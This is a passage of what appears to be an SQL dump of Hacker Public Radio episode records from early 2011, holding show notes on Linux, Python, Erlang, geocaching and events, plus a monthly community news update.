pid\r\n</P>\r\n<P>\r\nPack a lot of meaning in a few lines: He said that everything there was to know about life was in The Brothers Karamazov, by Feodor Dostoevsky. \"But that isn\'t enough anymore.\"\r\n</P>\r\n<pre>\r\n1> A = [1,2,3,4,5].\r\n\r\n[1,2,3,4,5]\r\n\r\n2> [X || X <- A, X rem 2 == 0].\r\n\r\n[2, 4]\r\n</pre>\r\n<P>\r\nimmutable variables - Billy Pilgrim - we find out more about him (and in the process ourselves). This consistency allows us to depend on the narrator more, as we depend on an erlang program more that state will not change in the middle.\r\n</P>\r\n<P>\r\nfunctional - jumping in history, future, and dreams, which can all live on their own and can be used independent of one another.\r\n</P>\r\n<P>\r\n\"He is in a constant stage fright, he says, because he never knows what part of his life he\'s going to have to act in next.\"\r\nthat\'s like Inboxes and message passing in Erlang.\r\n</P>\r\n<P>\r\nSo it goes. The ending of an Erlang line could be , ; or .\r\n</P>\r\n        ',132,44,1,'CC-BY-NC-SA','\"Kurt Vonnegut\",postmodernism,Erlang,concurrency,\"fault tolerance\"',0,2461,1),
(669,'2011-02-24','QSK Netcast 6: The Origin of Open Source',2766,'The audio recording of KFive\'s talk at Ohio Linux Fest 2010','<p>Originally aired on OCTOBER 15TH, 2010<br />\r\nThis episode of the QSK Netcast is the audio recording of my talk at Ohio Linux Fest 2010 entitled “The Origin of Open Source.”  The talk turned into a strange but, I think, interesting melange of Open Source philosophy, history, sociology and religion.  The biggest problem was the poor audio recording equipment used in a very large room so the audio many be difficult to understand in a few places.  I did what I could to clean it up using Audacity, but it’s simply not great.  Hope everyone enjoys it, though.  I’m going to attempt to put up written transcripts of all my episodes starting very soon.</p>',127,43,1,'CC-BY-NC-SA','\"Open Source\"',0,2389,1),
(670,'2011-02-25','Linux - A Jazz Musician\'s Viewpoint',638,'Shows about Bariman\'s experience as a jazz musician using Linux','<P>\r\nThis 10 minute Podcast outlines my experience as a jazz musician using Linux.\r\n</P>\r\n<P>\r\nHistory . . .<br/>\r\nMy start in 1982 with a BBC Micro Computer.\r\nOn using a 1977 business machine by Real Time Computer Systems, Crewe, UK.\r\nGary Kildall\'s CP/M operating system with four, linked, 7 floppy disk drives.\r\nMoving to the PC about 1988 and becoming a Microsoft operating system user.\r\nUsing the PC for educational material and for musical arrangements.\r\nThe main pieces of software used for the music  Sibelius and Band-In-A-Box.\r\nSome web designing using Macromedia Dreamweaver.\r\n</P>\r\n<P>\r\nTowards Linux . . .<br/>\r\nAwareness of Linux about 2000  first \'proper\' distro  SuSE; (six CDs to install!)\r\nPoor press for Linux in the past  and not much better now.\r\nModern distros offer close to the full solution for the average user.\r\nRetailers still telling customers that Linux is difficult and should be avoided.\r\nMy trials of most of the available distros and awareness of Wine as a solution to using Windows-based software.\r\nSome limited success with early copies of Sibelius, Band-In-A-Box and Dreamweaver.\r\nDiscovery of Ubuntu 6.06 and the installation on my Desktops and Laptops.\r\nMaintainance of a Laptop as a dual-boot machine with Windows XP.\r\nLinux used for all my work; only very rarely using the Windows partition.\r\nBrief trial of Virtualbox  initially, with not too much success.\r\nCurrently, Ubuntu 10.10 on all machines and the \'ditching\' the dual-boot.\r\nLook at Virtualbox again, thanks to the recent Hacker Public Radio Podcast by arfab (hpr-0618) on installing XP in Virtualbox. (Thanks arfab.)\r\nVirtualbox on all my machines now running my \'essential\' Windows software.\r\n</P>\r\n<P>\r\nPracticing . . .<br/>\r\nNeed for regular practise using a variety of techniques (improvisation, scales, etc,).\r\nGood use of Band-In-A-Box as a practice aid.\r\nMost backing tracks in the form of a simple piano, bass and drums rhythm section.\r\nGood aid to meet the needs of students at various stages of ability.\r\nBacking tracks tailored to support each musical instrument in a musical ensemble.\r\n</P>\r\n<P>\r\nWhere Are We Now . . .<br/>\r\nAwareness of current developments in support of the musical requirement.\r\nStill can\'t say to my colleagues - Yes, Linux is now the complete solution.\r\n</P>\r\n<P>\r\nWebsite and blog at \'<A HREF=\"https://www.tonydenton.com\">www.tonydenton.com</A>\'  on Twitter as \'tonydenton\'  Identica name is \'Bariman\' and occasionally on IRC, also as \'Bariman.\'\r\n</P>\r\n',150,73,1,'CC-BY-NC-SA','linux,jazz,Sibelius,Band-In-A-Box,dreamweaver',0,2480,1),
(671,'2011-02-28','How I Found Linux',1440,'dodddummy\'s journey to Linux, from mainframes to home computers','Another in the series on the journey to linux.\r\n\r\n<h3>Announcement</h3>\r\n<center><font color=red>Visit our booth at <a href=\"https://hackerpublicradio.org/contribute.php\">Linuxfests</a> Northeast and\r\nNorthwest</font></center>\r\n\r\n<h3>Book Review</h3>\r\n<p>\r\nThe book is Badge Of Infamy by Lester Del Rey and read by Steven Wilson. It is available from podiobooks.com. The direct url is\r\nhttps://www.podiobooks.com/title/badge-of-infamy.\r\n<br />\r\nFrom podiobooks.com: \"Daniel Feldman was a doctor once. He made the mistake of saving a friend\'s life in violation of Medical Lobby rules. Now, he\'s a pariah, shunned by all, forbidden to touch another patient. But things are more loose on Mars. There, Doc Feldman is welcomed by the colonists, even as he\'s hunted by the authorities. But, when he discovers a Martian plague may soon wipe out humanity on two planets, the authorities begin hunting him for a different reason altogether.\"\r\n</p>',151,29,1,'CC-BY-NC-SA','mainframe,linux,distrohopping',0,2585,1),
(672,'2011-03-01','How I Upgraded My PC - CPU',1115,'Claudio talks about his PC and covers the what, why, and how of his new CPU purchase.','<P>\r\nIn this episode, Claudio talks about his current desktop PC and covers the what, why, and how of his new CPU purchase.\r\n</P>\r\n\r\n<UL>\r\n<LI>AnandTech: <A HREF=\"https://www.anandtech.com/show/4025/holiday-2010-system-builders-guide\">https://www.anandtech.com/show/4025/holiday-2010-system-builders-guide</A>\r\n<LI>Wikipedia: <A HREF=\"https://en.wikipedia.org/wiki/List_of_AMD_Phenom_microprocessors\">https://en.wikipedia.org/wiki/List_of_AMD_Phenom_microprocessors</A>\r\n</UL>',152,57,1,'CC-BY-NC-SA','computers,pc,hardware,pchardware',0,2465,1),
(673,'2011-03-02','droops returns to geocaching',1068,'droops voices regrets over the lack of imagination in the placement of some caches','<P>\r\ndroops talks about his return to geocaching and how he is trying to solve the worlds problems.\r\n</P>\r\n\r\n<UL>\r\n<LI><A HREF=\"https://vimeo.com/20037421droops/hprdroops1\">https://vimeo.com/20037421droops/hprdroops1</A>\r\n<LI><A HREF=\"https://mytopo.com/maps/\">https://mytopo.com/maps/</A>\r\n<LI><A HREF=\"https://store.usgs.gov\">https://store.usgs.gov</A>\r\n</UL>\r\n\r\n<iframe src=\"https://player.vimeo.com/video/20037421\" width=\"400\"\r\nheight=\"300\" frameborder=\"0\"></iframe><p><a\r\nhref=\"https://vimeo.com/20037421\">Geocaching with droops and\r\nJohndoc</a> from <a href=\"https://vimeo.com/droops\">droops</a> on <a\r\nhref=\"https://vimeo.com\">Vimeo</a>.</p>',1,0,1,'CC-BY-NC-SA','geocaching,gps',0,8912,1),
(674,'2011-03-03','The Language Frontier Episode 2',956,'The Language Frontier; this episode, she talks about language\'s effect on art, and upon governments.','<p>Skirlet continues The Language Frontier; in this episode, she talks about language\'s effect on art, and upon governments.</p>\r\n<p>Listen to this episode in ogg vorbis via <a href=\"https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-2.ogg\" target=\"_blank\">aesdiopod</a>.</p>',88,54,1,'CC-BY-NC-SA','language,art,government,communication,music',0,2334,1),
(675,'2011-03-04','Python Response to Bad Apples Podcast 5x18',467,'A response to a challenge from Klaatu - translate a bash script into python','<p>\r\nIn episode <a href=\"https://www.thebadapples.info/index5.html\">5X18 of the Bad Apples</a> podcast, Klaatu challenged me to create my own podcast \r\nexplaining my Python version of his bash script. His bash script created a list of\r\nfiles that matched a file name pattern, then read the first line from each of those files\r\nand wrote that to an output file. My Python program does exactly the same thing, but in Python.<br />\r\nHere is the body of that program with the comments stripped out:</p>\r\n<pre>\r\n#!/usr/bin/python\r\nimport glob\r\noutfile = open(\"toc.output\", \"w\")\r\nfor filename in glob.glob(\"*.txt\"):\r\n    outfile.write(open(filename).readline())\r\n</pre>\r\n<p>\r\nThe above text can be used to follow along with the audio of the podcast. Here is the English explanation \r\nversion of the above program:<br />\r\n<ul>\r\n<li>Tell the system the rest of the text in the file should interpreted by Python</li>\r\n<li>Import the glob module, which is one of the library modules that comes with Python</li>\r\n<li>Create a new file object called \"toc.output\" that we can write to</li>\r\n<li>Iterate over the list of files that match the pattern \"*.txt\" created by the glob function, and assign each matching file in turn to the filename variable</li>\r\n<li>Open each filename, read the first line from the file and write it to our previously opened output file.</li>\r\n</ul>\r\n\r\nIt\'s not shown above, but each matching filename that we open is closed at the end of the looping construct. \r\nIn addtion, the output file is also closed at the end of the programs execution.\r\n<br />\r\nHopefully you enjoyed the podcast!\r\n</p>',153,0,1,'CC-BY-NC-SA','python,bash,scripting',0,2823,1),
(676,'2011-03-07','Behind the Scenes at Hacker Public Radio. A community update for the month 2011-02.',2491,'HPR Community News for February 2011','<h3>New hosts</h3>\r\n<p>\r\nWelcome to \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=144\">sp0rus and biosshadow</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=145\">Heisenbug</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=146\">JBu92</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=147\">Sven</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=148\">Mark Katerberg and Courtney Schauer</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=149\">Trixter</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=150\">Bariman</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\">dodddummy</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\">Claudio Miranda</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=153\">Doug Farrell</a>.\r\n</p>\r\n\r\n<h3>Show Review</h3>\r\n<UL>\r\n<LI>652:: sp0rus and biosshadow:: Nameless Infosec Podcast Ep 1\r\n<LI>653:: Heisenbug:: Intro to Black Box Testing\r\n<LI>654:: JBu92:: Offline Filesharing\r\n<LI>655:: Flaviu Simihaian:: Read \'n Code - 2 Camus\'s The Plague and Reddit.com\r\n<LI>656:: Sven:: My first steps in recovering pictures\r\n<LI>657:: droops:: HPR Video Proposal\r\n<LI>658:: Mark Katerberg and Courtney Schauer:: Music Management Consoles\r\n<LI>659:: Lord Drachenblut:: 10 Buck Review - Serenity\r\n<LI>660:: Trixter:: An argument against emulators when retrocomputing\r\n<LI>661:: Quvmoh:: War walking with smart phone\r\n<LI>662:: Xoke:: DD-WRT\r\n<LI>663:: brother mouse:: What is on your mp3 player\r\n<LI>664:: Michael Foord:: A Little Bit of Python: Episode 13\r\n<LI>665:: KFive:: Hacking the Craps Table\r\n<LI>666:: brother mouse:: Salvaging old Coleman lanterns and stoves\r\n<LI>667:: Johninsc:: Your Local Library\r\n<LI>668:: Flaviu Simihaian:: Read \'n Code - 3 Kurt Vonnegut\'s Slaughterhouse-five and Erlang\r\n<LI>669:: KFive:: QSK Netcast 6: The Origin of Open Source\r\n<LI>670:: Bariman:: Linux - A Jazz Musician\'s Viewpoint\r\n<LI>671:: dodddummy:: How I Found Linux\r\n<LI>672:: Claudio Miranda:: How I Upgraded My PC - CPU\r\n<LI>673:: droops:: droops returns to geocaching\r\n<LI>674:: Skirlet:: The Language Frontier Episode 2\r\n<LI>675:: Doug Farrell:: Python Response to Bad Apples Podcast 5x18\r\n</UL>\r\n\r\n<h3>Host 107 brings us BLUE HEAVEN</h3>\r\n<P>\r\nA dramatized science-fiction short story written and read by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">lostnbronx</a> <br />\r\nGet it now at <A HREF=\"https://www.info-underground.net:70/lostnbronx/fiction/blue-heaven\">https://www.info-underground.net:70/lostnbronx/fiction/blue-heaven</A>\r\n</P>\r\n<!-- Blue Heaven Promo -->\r\n\r\n<h3>Apologies To:</h3>\r\n<UL>\r\n<LI>sp0rus and biosshadow for not crediting them correctly. \r\n<LI>Doug Farrell for missing the show he emailed me\r\n<LI>Jason Dodd for missing his show on the ftp server\r\n<LI>Pokey and Code Cruncher for messing up their been two fests\r\n<LI>Claudio Miranda for the unnecessary spam about his episode\r\n<LI>klaatu for anything I may have said or done to cause him to abandon HPR.\r\n</UL>\r\n\r\n<h3>Thanks to</h3>\r\n<UL>\r\n<li>brother mouse for his mp3 tagging utility <a href=\"https://pastebin.com/t7dH8bK3\">https://pastebin.com/t7dH8bK3</a>\r\n<LI>Tony Baechler for his research into Google voice\r\n<LI>Code Cruncher for the entries to the business cards\r\n<LI>mordancy for volunteering to look into Archive.org automating\r\n<LI>droops for all the man love\r\n<LI>droops and slick0 for the flac version of the theme song\r\n<LI>David Stafford for constructive comments on how to improve the site\r\n<li>pokeys mom for the HPR promo\r\n</UL>\r\n\r\n<h3>Podcasts by Phone</h3>\r\n<!-- pokies mom promo -->\r\n\r\n<p>\r\nEvery listener is <strong>strongly</strong> encouraged to send us one contribution per year.<br />\r\nIn episode 636 pokey told us that his Mother also listens to the show from time to time and this month she upheld her end of the <a href=\"https://hackerpublicradio.org/promote/pokeiesmom.ogg\">bargain</a>.<br />\r\n\r\nThe call in lines<br />\r\n<li>US:  +1-206-312-5749 </li>\r\n<li>UK: +44-203-432-5879 </li>\r\n<br />\r\nPlease include your name and email address.<br />\r\nDON\'T FORGET TO ADD THE # SIGN AT THE END<br />\r\nThanks to Russ Woodman - K5TUX and Arron \'Finux\' Finnon for making this possible.\r\n</p>\r\n\r\n\r\n<h3>Scheduling Rules update</h3>\r\n<p>Shows will be released based on the following rules that gives content produced for HPR priority, while avoiding having any one host/series repeated in a week. Hosts are encouraged to release their shows on other feeds after uploading them to HPR.</p> \r\n<p> \r\n<ol> \r\n  <li><strong>Time critical</strong><br /> \r\n    Where the host has requested a show to be posted at a particular time or that the show contains newsworthy information.</li> \r\n  <li><strong>Scheduled Slots</strong><br /> \r\n    Where a host has been assigned a regular day to release a show.</li> \r\n  <li><strong>New Hosts</strong><br /> \r\n    In order to encourage new hosts we will prioritize shows submitted from new hosts so they can experience the excitment of podcasting.</li> \r\n  <li><strong>HPR Content on a First in First Out basis.</strong></li> \r\n</ol> \r\n</p> \r\n<p>Syndicated shows will be released on their own scheduled slot following the same rules as above.</p> \r\n\r\n<h3>HPR Stickers</h3>\r\n<p>\r\n<img src=\"https://www.hackerpublicradio.org/promote/hpr_sticker.png\">\r\n</p>\r\n<p>\r\nHot off the press ! <br />\r\nThe HPR stickers have been distributed to our Global distribution network in North America, Europe and Australia.<br />\r\nFor anyone else on this who wants them, now is the time to ask; before they all get handed out at the first couple of Linux fests. They\'re free as in beer btw.<br />\r\nWe\'re also sending stickers out to the other podcasters who promoted HPR in the past.\r\n</p>\r\n\r\n<h3>Audio Book Club</h3>\r\n<P>\r\nSeveral of the HPR contributors in the IRC channel have formed the beginning of an audio-book club. We\'ll be doing reviews which include spoilers, so I was wondering if you could announce our first audio-book title in case anyone wanted to listen to it before we spoiled it on them. We\'re hoping this will become a(n ir)regular show for HPR, but we\'ll see how the first one goes. All audio-books that we review will be free (as in beer) and easily available, so the barrier to entry for the listeners and participants will just be the time involved in listening to the audio. The first audio book is a short one. It runs about 3.5 hours total, and I can tell you it is a very good book which will appeal to both science fiction fans and political critics alike. \r\n</P>\r\n<P>\r\nThe book is Badge Of Infamy by Lester Del Rey and read by Steven Wilson. It is available from podiobooks.com. The direct url is\r\n<A HREF=\"https://www.podiobooks.com/title/badge-of-infamy\">https://www.podiobooks.com/title/badge-of-infamy</A>.\r\n</P>\r\n<P>\r\nFrom podiobooks.com: \"Daniel Feldman was a doctor once. He made the mistake of saving a friend\'s life in violation of Medical Lobby rules. Now, he\'s a pariah, shunned by all, forbidden to touch another patient. But things are more loose on Mars. There, Doc Feldman is welcomed by the colonists, even as he\'s hunted by the authorities. But, when he discovers a Martian plague may soon wipe out humanity on two planets, the authorities begin hunting him for a different reason altogether.\"\r\n</P>\r\n<P>\r\nWe\'ll be announcing the next book at the end of our first show.\r\n</P>\r\n\r\n\r\n<h3>Site improvements</h3>\r\n<UL>\r\n<LI>Each hosts have their own folder ie: hackerpublicradio.org/droops/\r\n<li>Vimeo Group https://vimeo.com/channels/hpr\r\n<li>Site redesign more up-to-date looking.\r\n<li>All comments and posts need a rel=nofollow tag on links.\r\n<li>All the RSS feed needs to be put in the address bar\r\n<li>Each episode title link should link to the individual show page\r\n<li>A separate link/graphic should play the audio, maybe have a built in player and a download link.\r\n<li>Each episode should have a unique url with the shows title in it, ie hackerpublicradio.org/geocaching_with_droops/ \r\n<li>We need more of a call to action about recording a show, its kinda hidden.\r\n<li>The total comment viewer needs to link to the episode page, so that people can see all of the comments about the episode.\r\n<li>A way to upload our episodes and automate everything.\r\n<li>We also need the ability for the hosts to add episodes of hpr and other shows to a \"Select\" RSS feed. This way, when we find something super cool that someone else recorded, we can share it with the community.\r\n</ul>\r\n\r\n<h3>News from the Admin Channel</h3>\r\n<p>HPR is been blocked by some companies because they can filter the find the word hacker - money well spent. During the spam fest, HPR got listed on sites as a source of malware. I\'ve been contacting the sites but each blames the next one for the listing and the trail runs cold.\r\n</p>\r\n<pre>\r\nhttps://news.ycombinator.com/item?id=2239162\r\n  https://www.mywot.com/en/scorecard/hackerpublicradio.org/comment#comment\r\n  https://www.malwaredomains.com/wordpress/?p=1340\r\n    https://malwaresurvival.net/2011/01/21/courtney-cox-search-leads-to-fake-av-malware/\r\n    https://www.dshield.org/tools/suspicious_domains.html\r\n</pre>\r\n<P>I registered Hobby Public Radio but cPanel doesn\'t seem to have a way to have HackerPublicRadio and HobbyPublicRadio served from the same directory.</P>\r\n<p>\r\n<strong>Question: Off the shelf or Self Build ?</strong>\r\n<ul>\r\n<li>Can we make a HPR site using standard Wordpress plugins ?\r\n  <ul>\r\n  <li>User account management\r\n  <li>Podcast plugins\r\n  <li>Released according to a schedule \r\n  </ul>\r\n<li>email from the server is broken through cPanel and this is delaying up automation \r\n<li>Any PHP programmers want to help\r\n<li>Proposal to make droops, finux, klaatu admins\r\n<li>Still no update on the Ice Cast server\r\n</ul>\r\n\r\n<h3>Events</h3>\r\n<P>\r\n<strong>Indiana LinuxFest</strong> is a community F/OSS conference, which is showcasing the best the community has to offer in the way of Free and Open Source Software, Open Hardware, and Free Culture. We are also highlighting the best and brightest from all of these communities from the hobbyist to professional level.\r\n</P>\r\n<P>\r\nIndiana LinuxFest 2011, March 25th to the 27th at the Wyndam Indianapolis West, is free to attend and Open for any to attend be it the hobbyist to the professional. So join us as we March to Freedom.\r\n</P>\r\n<!-- ilfpromo.ogg -->\r\n</P>\r\n<P>\r\nEvery 50th person who signs up for the following passes, Supporter Passes and LPIC-1 Exam Cram Session, will receive their choice of a Nook Color or Archos 70 while supplies last.\r\n</P>\r\n<P>\r\n<A HREF=\"https://www.indianalinux.org/cms/PrizesForParticipation\">https://www.indianalinux.org/cms/PrizesForParticipation</A>\r\n<br />\r\nBeep from https://www.freesound.org/: btn402.mp3 :: (0:00) :: Short button beep. Recorded in cAve studio... added by junggle \r\n</P>\r\n<hr>\r\n<p> \r\n<strong>Northeast GNU/Linux Fest Details Saturday, April 2, 2011 Worcester MA</strong>\r\n<br /> \r\n<a href=\"https://www.northeastlinuxfest.org/\" target=\"_blank\"><img alt=\"Northeast GNU/Linux Fest Details Saturday, April 2, 2011\" src=\"https://www.northeastlinuxfest.org/sites/default/files/logo.png\" /></a><br /> \r\nMore <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-December/000161.html\">information</a>.\r\n</p> \r\n\r\n<p> \r\n<strong>Linuxfest Northwest 2011 - April 30th-May 1st Bellingham, WA</strong><br /> \r\n<a href=\"https://www.linuxfestnorthwest.org/\" target=\"_blank\"><img alt=\"Linuxfest Northwest 2011 - April 30th-May 1st\" src=\"https://linuxfestnorthwest.org/sites/default/files/badge2011-small.png\" /></a> \r\n<br /> \r\nMore <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2011-February/000241.html\">information</a>.\r\n<br /> \r\nHPR is going Northeast and then Northwest with tables at both Linuxfests. We would like people to help out at the table, finding equipment etc. \r\n<br /> \r\n \r\nHow it all started: here is the link to pokey\'s first mail about the table at NELF:\r\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-December/000161.html\r\n\"> https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-December/000161.html </a> \r\n \r\n<br /> \r\nWe are also running a <a href=\"https://kenfallon.com/?p=827\">Competition to design Mini Business Cards for HPR</a> which we would like to have for the fest. <br />\r\nThey submitted entries have all won a book and they are all up on the picasaweb site <a href=\"https://picasaweb.google.com/108536234968997542346/DesignCompetition#\">https://picasaweb.google.com/108536234968997542346/DesignCompetition#</a>\r\n</p> \r\n\r\n<h3>Upcoming Shows</h3>\r\n<pre>\r\nHPR Admins with \"Community News\" SCHEDULED SLOT\r\nbiosshadow and sp0rus Nameless Infosec Podcast. SCHEDULED SLOT\r\nlostnbronx THEATER OF THE IMAGINATION 2\r\nSyndicated Thursday ---> 10 Buck Review\r\nBroam auctions yard sales and flea markets\r\n---\r\npokey NELF Taxes\r\nriddlebox Ep1 Product Review SunVolt\r\n</pre>',159,47,1,'CC-BY-NC-SA','Community News',0,1372,1),
(677,'2011-03-08','THEATER OF THE IMAGINATION: PART 2',994,'Some descriptions of the base concepts','<p>----------</p>\r\n<p>A convenient <a href=\"https://hackerpublicradio.org/eps.php?id=0334\">link</a> to Part 1</p>\r\n<p>----------</p>\r\n<p>Shameless Self-Promotion</p>\r\n<p><a href=\"https://www.info-underground.net:70/lostnbronx/fiction/blue-heaven\">Blue Heaven</a></p>\r\n<p>----------</p>\r\n<p>MUSIC BY</p>\r\n<p>morgantj</p>\r\n<p><a href=\"https://ccmixter.org/people/morgantj/profile\">https://ccmixter.org/people/morgantj/profile</a></p>\r\n<p></p>\r\n<p>morgantj_-_caf_connection.mp3</p>\r\n<p><a href=\"https://ccmixter.org/files/morgantj/18947\">https://ccmixter.org/files/morgantj/18947</a></p>\r\n<p></p>\r\n<p>Creative Commons Attribution (3.0)</p>\r\n<p><a href=\"https://creativecommons.org/licenses/by/3.0/\">https://creativecommons.org/licenses/by/3.0/</a></p>',107,52,1,'CC-BY-NC-SA','audiocast,broadcast,\"audio drama\",RSS',0,2403,1),
(678,'2011-03-09','Terminally Stupid Episode 1',556,'Mrs. Xoke scours the net to find us those that hit rock bottom and started digging.','Terminally Stupid Episode 1\r\n\r\nFull show notes at <a href=\"https://captaindramaticsmom.blogspot.com/2011/03/episode-1-terminally-stupid.html\">https://captaindramaticsmom.blogspot.com/2011/03/episode-1-terminally-stupid.html</a>',154,0,1,'CC-BY-NC-SA','Terminally Stupid,fun,comedic',0,2668,1),
(679,'2011-03-10','A Little Bit of Python: Episode 14 2010-06-06',1116,'An interview with Christian Tismer after PyCon 2010','<p>\r\n<a href=\"https://bitofpython.com/\">A Little Bit of Python</a> is an occasional podcast on all things <a href=\"https://python.org\">Python</a>. The four protagonists on the show are all core Python developers and members of the Python Software Foundation. They are: <a href=\"https://www.voidspace.org.uk\">Michael Foord</a> (author of IronPython in Action and maintainer of unittest), <a href=\"https://www.amk.ca/\">Andrew Kuchling</a> (creator of PyCrypto and one of the python.org webmasters), <a href=\"https://holdenweb.com/\">Steve Holden</a> (PSF chairman), <a href=\"https://sayspy.blogspot.com/>Dr. Brett Cannon</a> (author of importlib amongst other things) and <a href=\"https://jessenoller.com/\">Jesse Noller</a> (maintainer of multiprocessing).\r\n</p>\r\n<p>\r\nEpisode 14.Bit-of-Python-2010-06-06\r\n</p>\r\n<p>\r\nInterview with Christian Tismer\r\n</p>\r\n<p>\r\nChristian Tismer is a long standing member of the Python community and, amongst other things, he is the original\r\ncreator of Stackless and has worked on both psyco and PyPy. In this interview we discuss all of these projects,\r\nboth their history and what the future holds for them.\r\n</p>\r\n',121,38,1,'CC-BY-NC-SA','Pycon,Stackless,psyco,PyPy,\"Unladen Swallow\"',0,2377,1),
(680,'2011-03-11','Auctions yard sales and flea markets',980,'Broam talks of Auctions yard sales and flea markets','Broam talks of Auctions yard sales and flea markets',143,0,1,'CC-BY-NC-SA','auction,\"yard sale\",\"flea market\"',0,2391,1),
(681,'2011-03-14','My first computer',755,'MrGadgets\' first phone-in episode','MrGadgets calls in a series of shows on the HPR line',155,0,1,'CC-BY-NC-SA','hardware,retro',0,2500,1),
(682,'2011-03-15','NELF &amp; Taxes',1376,'Pokey discusses his plans for NELF, and some Linux-friendly tax preparation software','<P>\r\nI\'m still looking for help at the HPR table at the North East Gnu/Linux Fest, and I\'ve also found a good way to file my taxes without using windoze.\r\n</P>\r\n<P>\r\nOh yeah, and I have a cool, fun song this time.\r\n</P>\r\n<P>\r\nThe main website for Song Fight is <A HREF=\"https://songfight.org/\">https://songfight.org/</A>\r\n</P>\r\n<P>\r\nSong Fight\'s official stance on Copyright may be found at <A HREF=\"https://songfight.org/faq.html#copyright\">https://songfight.org/faq.html#copyright</A> \r\n</P>\r\n<P>\r\nThe direct link to today\'s song is <A HREF=\"https://www.songfight.org/music/back_from_juvie/joneric-bfj.mp3\">https://www.songfight.org/music/back_from_juvie/joneric-bfj.mp3</A>\r\n</P>\r\n<P>\r\nJon\'s Website is <A HREF=\"https://www.jon-eric.com\">https://www.jon-eric.com</A>\r\n</P>\r\n<P>\r\nThe main website for NELF is <A HREF=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</A>\r\n</P>\r\n<P>\r\nHacker Public radio\'s most prolific contributor (by more than twice our second place host) is Klaatu. While we all try to catch up to him, have a look at his website. <A HREF=\"https://thebadapples.info/\">https://thebadapples.info/</A>\r\n</P>\r\n<P>\r\nThank you so much for listening.\r\n</P>\r\n<P>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, I have probably included a few.\r\n</P>',128,0,1,'CC-BY-NC-SA','hpr,nelf,taxes',0,2313,1),
(683,'2011-03-16','Xorg GSoC call for students',292,'A call for contributors to X.Org during Google Summer of Code','<P>\r\nThe Xorg project, <A HREF=\"https://www.x.org\">https://www.x.org</A>, wants students to participate in Google Summer of Code.\r\n</P>\r\n<P>\r\nDetails for Xorg\'s projects can be found at: <A HREF=\"https://www.x.org/wiki/SummerOfCodeIdeas\">https://www.x.org/wiki/SummerOfCodeIdeas</A>\r\n</P>\r\n<P>\r\nMore information on GSoC in general: <A HREF=\"https://www.google-melange.com/\">https://www.google-melange.com/</A>\r\n</P>\r\n	',156,0,1,'CC-BY-NC-SA','\"google summer of code\",gsoc,x.org',0,2217,1),
(684,'2011-03-17','Eben Moglen Freedom In the Cloud',7116,'Eben Moglen explains the motivations &amp; ideas behind the Freedom Box project','<P>\r\nBeannachta L le Pdraig/Happy Saint Patrick\'s Day.\r\n</P>\r\n<P>\r\nBeannachtai na File Pdraig ar chlann mhr dhomhanda na nGael, sa bhaile agus ar fud na cruinne, ar r l nisinta ceilirtha fin.\r\n</P>\r\n<P>\r\nFreedom In the Cloud: Software Freedom, Privacy, and Security for Web 2.0 and Cloud Computing\r\nA Speech given by Eben Moglen at a meeting of the Internet Society\'s New York branch on Feb 5, 2010\r\n</P>\r\n<P>\r\n<UL>\r\n<LI><A HREF=\"https://www.freedomboxfoundation.org/\">https://www.freedomboxfoundation.org/</A>\r\n<LI><A HREF=\"https://www.kickstarter.com/projects/721744279/push-the-freedombox-foundation-from-0-to-60-in-30\">https://www.kickstarter.com/projects/721744279/push-the-freedombox-foundation-from-0-to-60-in-30</A>\r\n<LI><A HREF=\"https://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\">https://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/</A>\r\n<LI><A HREF=\"https://www.softwarefreedom.org/events/2010/isoc-ny/FreedomInTheCloud-transcript.html\">https://www.softwarefreedom.org/events/2010/isoc-ny/FreedomInTheCloud-transcript.html</A>\r\n</UL>\r\n</P>\r\n<P>\r\nIf you would like to suggest creative commons works for Syndicated Thursday please email admin @ hpr\r\n</P>\r\n<P>\r\nNOTE TO ITUNES LISTENERS\r\nPlease reload Mondays show \"HPR ep0681 :: My first computer Hosted by MrGadgets on 2011-03-14\"\r\n</P>\r\n<P>\r\n<iframe title=\"YouTube video player\" width=\"640\" height=\"390\" src=\"https://www.youtube.com/embed/QOEMv0S8AcA\" frameborder=\"0\" allowfullscreen></iframe>\r\n</P>\r\n',30,54,1,'CC-BY-NC-SA','\"syndicated thursday\",floss,\"free software\",freedom,surveillance,hosting',0,2741,1),
(685,'2011-03-18','Product Review SunVolt',280,'A product review of the SunVolt solar-powered portable backup battery','<P>\r\nToday, I am going to do a product review today, this product is one that I think almost anyone will find a good use for!  The product is from Scosche, and is the Solar-Powered Universal Charger/ Backup Battery or SunVolt. A description of the product from the manual that comes with it says: The Scosche sunVolt provides a convenient and environmentally friendly way to charge your USB portable device. The specifications for the product are: Output  5V 500mA, the battery is a Lithium-ion, Battery capacity: 1500mA, solBAT solar charge:4-5 days and it varies............\r\n</P>\r\n\r\n<UL>\r\n<LI>Amazon: <A HREF=\"https://www.amazon.com/s/ref=nb_sb_ss_i_0_15?url=search-alias 3Daps&field-keywords=scosche+sunvolt&x=0&y=0&sprefix=scosche+sunvolt\">https://www.amazon.com/s/ref=nb_sb_ss_i_0_15?url=search-alias 3Daps&field-keywords=scosche+sunvolt&x=0&y=0&sprefix=scosche+sunvolt</a>\r\n<LI>Manual: <A 